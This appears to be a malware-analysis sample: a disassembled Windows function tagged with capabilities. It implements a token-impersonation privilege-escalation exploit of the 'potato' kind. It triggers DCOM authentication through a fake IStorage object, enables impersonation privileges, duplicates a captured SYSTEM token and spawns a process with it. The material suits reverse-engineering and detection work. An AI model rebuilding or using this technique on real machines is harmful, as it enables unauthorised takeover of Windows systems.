Function at 0x140002620
Capabilities:
Create process on windows
Create thread
Impersonate user

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x358]
sub rsp, 0x440
mov rax, qword [0x140029008]
xor rax, rsp
mov qword [rbp + 0x330], rax
mov ecx, 0x30
call fcn.140003118
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov rcx, rax
call fcn.1400016cc
mov rsi, rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
xor r14d, r14d
mov dword [rsp + 0x20], r14d
mov r9, rsi
lea r8, [0x140001814]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x14002b310], r14d
jne 0x1400026c4
mov r8, qword [0x14002b328]
mov rdx, qword [0x14002b330]
lea rcx, str.Testing__S__S_n
call fcn.140001518
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r14d
mov r9, rsi
lea r8, [0x14000180c]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], r14
lea r8, [rsp + 0x70]
mov r15d, 1
mov edx, r15d
xor ecx, ecx
call qword [sym.imp.ole32.dll_CreateILockBytesOnHGlobal]
lea r9, [rsp + 0x68]
xor r8d, r8d
mov edx, 0x1012
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ole32.dll_StgCreateDocfileOnILockBytes]
lea ecx, [r15 + 0x1f]
call fcn.140003118
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
mov rcx, qword [rsp + 0x68]
lea rdx, vtable.IStorageTrigger.1.0
mov qword [rax], rdx
lea rbx, [rax + 8]
lea rdx, vtable.IStorageTrigger.0
mov qword [rbx], rdx
mov qword [rax + 0x10], rcx
mov dword [rax + 0x18], r15d
lea rdx, [rbp + 0x10]
mov rcx, qword [0x14002b330]
call qword [sym.imp.ole32.dll_CLSIDFromString]
lea rdx, [rbp + 0x20]
lea rcx, str.00000000_0000_0000_C000_000000000046
call qword [sym.imp.ole32.dll_CLSIDFromString]
lea rax, [rbp + 0x20]
mov qword [rbp - 8], rax
mov qword [rbp], r14
mov dword [rbp + 8], r14d
lea rax, [rbp - 8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rbx
lea r9d, [r15 + 3]
xor r8d, r8d
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoGetInstanceFromIStorage]
mov ecx, r15d
call fcn.14000a214
mov rcx, rax
call fcn.14000cda8
mov rax, qword [rsi + 0x10]
mov edx, dword [rax + 8]
cmp edx, 0xffffffff
je 0x1400027cc
cmp dword [0x14002b310], r14d
jne 0x1400027ed
lea rcx, str._n___authresult__d_n
call fcn.140001518
mov ecx, r15d
call fcn.14000a214
mov rcx, rax
call fcn.14000cda8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x10]
mov edx, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140002bfa
lea rdx, str.SeImpersonatePrivilege
mov rcx, qword [rbp + 0x10]
call fcn.1400023a8
lea rdx, str.SeAssignPrimaryTokenPrivilege
mov rcx, qword [rbp + 0x10]
call fcn.1400023a8
mov dword [rbp - 0x10], r14d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x20]
mov edx, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rsi + 0x10]
lea rdx, [0x14002b308]
mov rcx, qword [rcx]
call qword [sym.imp.Secur32.dll_QuerySecurityContextToken]
mov rdi, qword [0x14002b308]
mov dword [rsp + 0x60], r14d
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, r15d
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov eax, dword [rsp + 0x60]
test eax, eax
je 0x140002965
mov ecx, eax
call fcn.14000a0ec
mov rbx, rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x60]
mov r8, rbx
mov edx, r15d
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov rcx, qword [rbx]
call qword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov dword [rsp + 0x60], eax
mov ecx, eax
call fcn.14000a0ec
mov rdi, rax
mov r8, qword [rbx]
mov rdx, rax
mov ecx, dword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_CopySid]
mov ebx, 0x3f
mov dword [rsp + 0x68], ebx
mov dword [rbp - 0xc], ebx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0xc]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x68]
lea r8, [rbp + 0x30]
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupAccountSidW]
mov rcx, rdi
call fcn.14000a0d8
lea r9, [rbp + 0x30]
lea r8, [rbp + 0xb0]
mov rdx, qword [0x14002b330]
lea rcx, str._S__S_S_n
call fcn.140001518
lea rdx, str.SYSTEM
lea rcx, [rbp + 0x30]
call fcn.14000c8a4
cmp dword [0x14002b310], r14d
jne 0x140002bf5
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x78]
lea edx, [r9 + 4]
mov rcx, qword [0x14002b308]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
cmp dword [rbp - 0x10], r14d
jne 0x1400029b1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_getting_token_type:_error_code_0x_lx_n
call fcn.140001518
lea rax, [0x14002b300]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r15d
mov r9d, 2
xor r8d, r8d
mov edx, 0xf01ff
mov rcx, qword [0x14002b308]
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
mov ebx, eax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x78]
lea edx, [r9 + 4]
mov rcx, qword [0x14002b300]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
cmp dword [rbp - 0x10], r14d
jne 0x140002a1e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_getting_token_type:_error_code_0x_lx_n
call fcn.140001518
mov edi, 0x68
mov r8d, edi
xor edx, edx
lea rcx, [rbp - 0x80]
call fcn.140006210
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], rax
mov dword [rbp - 0x80], edi
lea rax, str.winsta0default
mov qword [rbp - 0x70], rax
call qword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
mov ecx, r15d
call fcn.14000a214
mov rcx, rax
call fcn.14000cda8
mov rdx, qword [0x14002b2e8]
mov rcx, rdx
lea r8, [rbp + 0x130]
sub r8, rdx
movzx eax, word [rcx]
mov word [r8 + rcx], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x140002a76
cmp qword [0x14002b2f0], r14
je 0x140002ace
mov r8, r15
lea rdx, [0x140025388]
lea rcx, [rbp + 0x130]
call fcn.14000c780
mov rdx, qword [0x14002b2f0]
or r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], r14w
jne 0x140002ab1
lea rcx, [rbp + 0x130]
call fcn.14000c780
mov rdx, qword [0x14002b2e8]
mov rax, qword [0x14002b2f8]
cmp word [rax], 0x74
je 0x140002ae1
cmp word [rax], 0x2a
jne 0x140002b47
lea rax, [rbp - 8]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
lea r9, [rbp + 0x130]
mov r8, rdx
xor edx, edx
mov rcx, qword [0x14002b300]
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
mov ebx, eax
test eax, eax
jne 0x140002be5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n____CreateProcessWithTokenW_Failed_to_create_proc:__d_n
call fcn.140001518
mov rdx, qword [0x14002b2e8]
mov rax, qword [0x14002b2f8]
cmp word [rax], 0x75
je 0x140002b77
cmp word [rax], 0x2a
je 0x140002b77
test ebx, ebx
je 0x140002bf1
lea rcx, str.Waiting_for_auth...
call fcn.140001518
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400027bc
lea rax, [rbp - 8]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x48], rax
lea rax, [0x1400253f0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rbp + 0x130]
mov rcx, qword [0x14002b300]
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
mov ebx, eax
test eax, eax
jne 0x140002bdc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n____CreateProcessAsUser_Failed_to_create_proc:__d_n
call fcn.140001518
jmp 0x140002bf1
lea rcx, str._n___CreateProcessAsUser_OK_n
jmp 0x140002bec
lea rcx, str._n___CreateProcessWithTokenW_OK_n
call fcn.140001518
mov eax, ebx
jmp 0x140002bfc
mov eax, r15d
jmp 0x140002bfc
xor eax, eax
mov rcx, qword [rbp + 0x330]
xor rcx, rsp
call fcn.140002f50
lea r11, [rsp + 0x440]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret